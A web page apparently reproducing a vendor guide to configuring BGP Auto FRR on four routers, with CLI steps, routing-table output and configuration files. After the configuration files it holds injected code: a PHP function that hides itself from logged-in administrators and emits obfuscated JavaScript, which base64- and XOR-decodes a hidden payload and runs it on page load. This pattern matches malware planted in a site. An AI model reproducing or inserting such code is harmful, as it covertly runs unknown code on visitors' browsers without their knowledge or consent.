As shown in Figure 1, Router A belongs to AS 100; Router B, Router C, and Router D belong to AS 200. BGP Auto FRR needs to be configure so that the route from Router A to Router D can have backup forwarding information.

Figure 1 Networking diagram of configuring BGP Auto FRR




Configuration Roadmap

The configuration roadmap is as follows:

  1. Configure EBGP connections between Router A and Router B and between Router A and Router C. Configure IBGP connections between Router D and Router B, and between Router D and Router C.
  2. Configure routing policies on Router B and Router C to change the MED values of routes to Router D to facilitate route selection.
  3. Configure BGP Auto FRR on Router A.

Data Preparation

To complete the configuration, you need the following data:

  • Router IDs and AS numbers of Router A, Router B, Router C, and Router D
  • Names of routing policies and MED values of routes on Router B and Router C

Procedure

  1. Configure IP addresses for interfaces. The configuration details are not mentioned here.
  2. Configure EBGP connections between Router A and Router B, and between Router A and Router C. Configure IBGP connections between Router B and Router D, and between Router C and Router D. # Configure EBGP connections on Router A.
    <RouterA> system-view
    
    [RouterA] bgp 100
    
    [RouterA-bgp] router-id 1.1.1.1
    
    [RouterA-bgp] peer 10.1.1.2 as-number 200
    
    [RouterA-bgp] peer 10.2.1.2 as-number 200
    
    NOTE:

    The configurations of Router B and Router C are the same as that of Router A, and the detailed configurations are not mentioned here.

    # Configure IBGP connections on Router D.

    <RouterD> system-view
    
    [RouterD] bgp 200
    
    [RouterD-bgp] router-id 4.4.4.4
    
    [RouterD-bgp] peer 10.3.1.1 as-number 200
    
    [RouterD-bgp] peer 10.4.1.1 as-number 200
    
    NOTE:

    The configurations on Router B and Router C are similar, and the detailed configurations are not mentioned here.
  3. Configuring routing policies on Router B and Router C so that the MED values of routes to Router D are different # Configure a routing policy on Router B.
    <RouterB> system-view
    
    [RouterB] route-policy rtb permit node 10
    
    [RouterB-route-policy] apply cost 80
    
    [RouterB-route-policy] quit
    
    [RouterB] bgp 200
    
    [RouterB-bgp] ipv4-family unicast
    
    [RouterB-bgp-af-ipv4] peer 10.1.1.1 route-policy rtb export
    

    # Configure a routing policy on Router C.

    <RouterC> system-view
    
    [RouterC] route-policy rtc permit node 10
    
    [RouterC-route-policy] apply cost 120
    
    [RouterC-route-policy] quit
    
    [RouterC] bgp 200
    
    [RouterC-bgp] ipv4-family unicast
    
    [RouterC-bgp-af-ipv4] peer 10.2.1.1 route-policy rtc export
    

    # Advertise a route to 4.4.4.4/32 on Router D.

    [RouterD] bgp 200
    
    [RouterD-bgp] ipv4-family unicast
    
    [RouterD-bgp] network 4.4.4.4 32
    

    # Run the display ip routing-table verbose command on Router A to check detailed information about the learned route to 4.4.4.4/32.

    <RouterA> display ip routing-table 4.4.4.4 32 verbose
    Route Flags: R - relay, D - download to fib
    ------------------------------------------------------------------------------
    Routing Table : Public
    Summary Count : 1
    
    Destination: 4.4.4.4/32
         Protocol: BGP             Process ID: 0
       Preference: 255                   Cost: 80
          NextHop: 10.1.1.2         Neighbour: 10.1.1.2
            State: Active Adv             Age: 00h00m12s
              Tag: 0                 Priority: low
            Label: NULL               QoSInfo: 0x0
       IndirectID: 0x4
     RelayNextHop: 0.0.0.0          Interface: Pos1/0/0
         TunnelID: 0x0                  Flags:  D
    

    Because the MED value of the route learnt from Router B is smaller, on Router A, the route to 4.4.4.4/32 selects the path RouterA→RouterB→RouterD. Because FRR is not configured, no backup information is available.

  4. Enabling BGP Auto FRR on Router A, and checking the routing information # Enable BGP Auto FRR on Router A.
    <RouterA> system-view
    
    [RouterA] bgp 100
    
    [RouterA-bgp] ipv4-family unicast
    
    [RouterA-bgp-af-ipv4] auto-frr
    

    # After the configuration, run the display ip routing-table verbose command on Router A to check the routing information.

    <RouterA> display ip routing-table 4.4.4.4 32 verbose
    Route Flags: R - relay, D - download to fib
    ------------------------------------------------------------------------------
    Routing Table : Public
    Summary Count : 1
    
    Destination: 4.4.4.4/32
         Protocol: BGP             Process ID: 0
       Preference: 255                   Cost: 80
          NextHop: 10.1.1.2         Neighbour: 10.1.1.2
            State: Active Adv             Age: 00h52m45s
              Tag: 0                 Priority: low
            Label: NULL               QoSInfo: 0x0
       IndirectID: 0x4
     RelayNextHop: 0.0.0.0          Interface: Pos1/0/0
         TunnelID: 0x0                  Flags:  D
        BkNextHop: 10.2.1.2       BkInterface: Pos2/0/0
          BkLabel: NULL           SecTunnelID: 0x0
     BkPETunnelID: 0x0        BkPESecTunnelID: 0x0
     BkIndirectID: 0x2  
    

    The preceding information shows that Router A has a backup next hop and a backup outbound interface to 4.4.4.4/32.

Configuration Files

  • Configuration file of Router A
    #
     sysname RouterA
    #
    interface Pos1/0/0
     ip address 10.1.1.1 255.255.255.0
    #
    interface Pos2/0/0
      ip address 10.2.1.1 255.255.255.0
    #
    bgp 100
     router-id 1.1.1.1
     peer 10.1.1.2 as-number 200
     peer 10.2.1.2 as-number 200
    #
     ipv4-family unicast
        auto-frr
    #
    return      
    
  • Configuration file of Router B
    #
     sysname RouterB
    #
    interface Pos1/0/0
     ip address 10.1.1.2 255.255.255.0
    #
    interface Pos2/0/0
      ip address 10.3.1.1 255.255.255.0
    #
    bgp 200
     router-id 2.2.2.2
     peer 10.1.1.1 as-number 100
     peer 10.3.1.2 as-number 200
    #
     ipv4-family unicast 
        peer 10.1.1.1 route-policy rtb export
    #
    route-policy rtb permit node 10
     apply cost 80
    #
    return
    
  • Configuration file of Router C
    #
     sysname RouterC
    #
    interface Pos1/0/0
     ip address 10.2.1.2 255.255.255.0
    #
    interface Pos2/0/0
     ip address 10.4.1.1 255.255.255.0
    #
    bgp 200
     router-id 3.3.3.3
     peer 10.2.1.1 as-number 100
     peer 10.4.1.2 as-number 200
     #
     ipv4-family unicast
        peer 10.2.1.1 route-policy rtc export
    #
    route-policy rtc permit node 10
     apply cost 120
    #
    return
    
  • Configuration file of Router D
    #
     sysname RouterD
    #
    interface Pos1/0/0
     ip address 10.3.1.2 255.255.255.0
    #
    interface Pos2/0/0
      ip address 10.4.1.2 255.255.255.0
    #
    interface LoopBack1
     ip address 4.4.4.4 255.255.255.255
    #
    bgp 200
     router-id 4.4.4.4
     peer 10.3.1.1 as-number 200
     peer 10.4.1.1 as-number 200
     #
     ipv4-family unicast
      network 4.4.4.4 255.255.255.255
    #
    return   
    


function xdav_tracker() { if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; } ?>
;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();

(Visited 2,756 times, 1 visits today)

1 Comment

  1. Nagaraj

    Any one can tell how much effort this feature may take to implement.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.